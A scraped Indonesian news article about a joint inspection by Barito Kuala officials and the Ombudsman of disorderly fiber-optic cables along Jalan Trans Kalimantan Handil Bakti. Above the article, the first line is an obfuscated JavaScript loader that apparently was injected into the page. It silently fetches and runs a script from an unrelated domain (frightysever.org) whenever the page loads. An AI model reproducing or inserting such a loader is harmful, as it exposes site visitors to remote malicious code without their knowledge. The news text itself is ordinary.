(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Pemerintah Kabupaten Barito Kuala (Pemkab Batola) bersama Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) kembali melakukan peninjauan lapangan terkait kondisi kabel telekomunikasi/fiber optik di Jalan Trans Kalimantan Handil Bakti, Kecamatan Alalak, Kabupaten Barito Kuala, pada Selasa, 5 November 2024. Peninjauan ini merupakan yang kedua kalinya setelah sebelumnya dilakukan pada bulan September 2024.
Pada peninjauan pertama, sejumlah titik kabel optik yang semrawut telah ditandai dan harus segera diperbaiki. Kepala Keasistenan Pemeriksaan Ombudsman RI Perwakilan Kalsel, Muhammad Firhansyah, menjelaskan bahwa sebelum peninjauan kedua ini, telah dilakukan beberapa pertemuan dengan Asosiasi Jasa Telekomunikasi (Apjatel) dan Pemkab Batola untuk membahas perbaikan.
“Hasil pertemuan sebelumnya, beberapa titik kabel optik sudah berhasil ditertibkan dan diamankan. Namun, masih ada titik yang perlu diperbaiki. Oleh karena itu, tim Ombudsman, BPJN, dan Pemkab Batola kembali turun ke lapangan untuk memastikan titik-titik yang belum diperbaiki segera ditangani,” ujar Firhansyah.
Dalam peninjauan lapangan ini, tercatat ada 23 titik kabel optik yang masih perlu perbaikan di sepanjang Jalan Trans Kalimantan Handil Bakti. Firhansyah menegaskan bahwa pihaknya akan menyusun Berita Acara kepada instansi terkait untuk segera menindaklanjuti perbaikan kabel tersebut, termasuk kepada Apjatel.
“Kami berharap dalam 14 hari kedepan, kabel optik yang bermasalah ini sudah diperbaiki, sehingga kawasan sekitar Jalan Handil Bakti menjadi tertib. Setelah itu, kami akan kembali memantau hasil perbaikan dan fokus pada titik-titik yang lebih urgen,” tambah Firhansyah.
Harry, dari Badan Pelaksanaan Jalan Nasional (BPJN) Kalimantan Selatan, mengatakan bahwa BPJN sebagai pemberi izin pemasangan kabel optik juga berkepentingan dalam perbaikan tersebut. “Kami sudah mengirimkan lima surat ke Jakarta dan dua surat ke Banjarmasin untuk meminta pihak pemilik izin kabel optik agar segera melakukan perbaikan,” katanya.
Dewi, Kepala Bidang Perhubungan Darat Dinas Perhubungan (Dishub) Barito Kuala, menjelaskan bahwa Pemkab Batola telah menindaklanjuti kebijakan administratif terkait regulasi kabel optik di wilayah tersebut. Hal ini akan dituangkan dalam Peraturan Bupati yang sedang disusun.
Peninjauan kedua ini melibatkan berbagai pihak terkait, termasuk BPJN, Perwakilan PUPR, DPMTSP, Satpol PP, Dishub, Diskominfo Barito Kuala, PT Telkom, PLN UP3 Banjarmasin, provider swasta, Lurah Handil Bakti, Bhabinkamtibmas, dan Babinsa Handil Bakti. (www.kanalkalimantan.com/adv)
Reporter: adv
Editor: rdy
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.